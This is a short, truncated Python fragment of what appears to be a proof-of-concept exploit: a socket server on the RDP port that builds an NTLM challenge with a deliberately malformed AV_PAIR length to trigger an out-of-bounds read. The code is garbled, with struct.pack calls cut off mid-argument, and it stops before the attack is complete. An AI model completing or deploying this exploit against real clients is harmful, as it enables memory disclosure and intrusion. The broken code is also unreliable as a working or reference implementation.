import socket import base64 import struct HOST = '0.0.0.0' PORT = 3389 # Common RDP port # NTLM Signature NTLM_SIGNATURE = b'NTLMSSP\x00' # Build a malicious AV_PAIR section (out-of-bounds trigger) # This creates a fake TargetInfo with a malformed AV pair length. malicious_target_info = b''.join([ struct.pack(' leads to OOB read b'A' * 4, # some data (incomplete) struct.pack('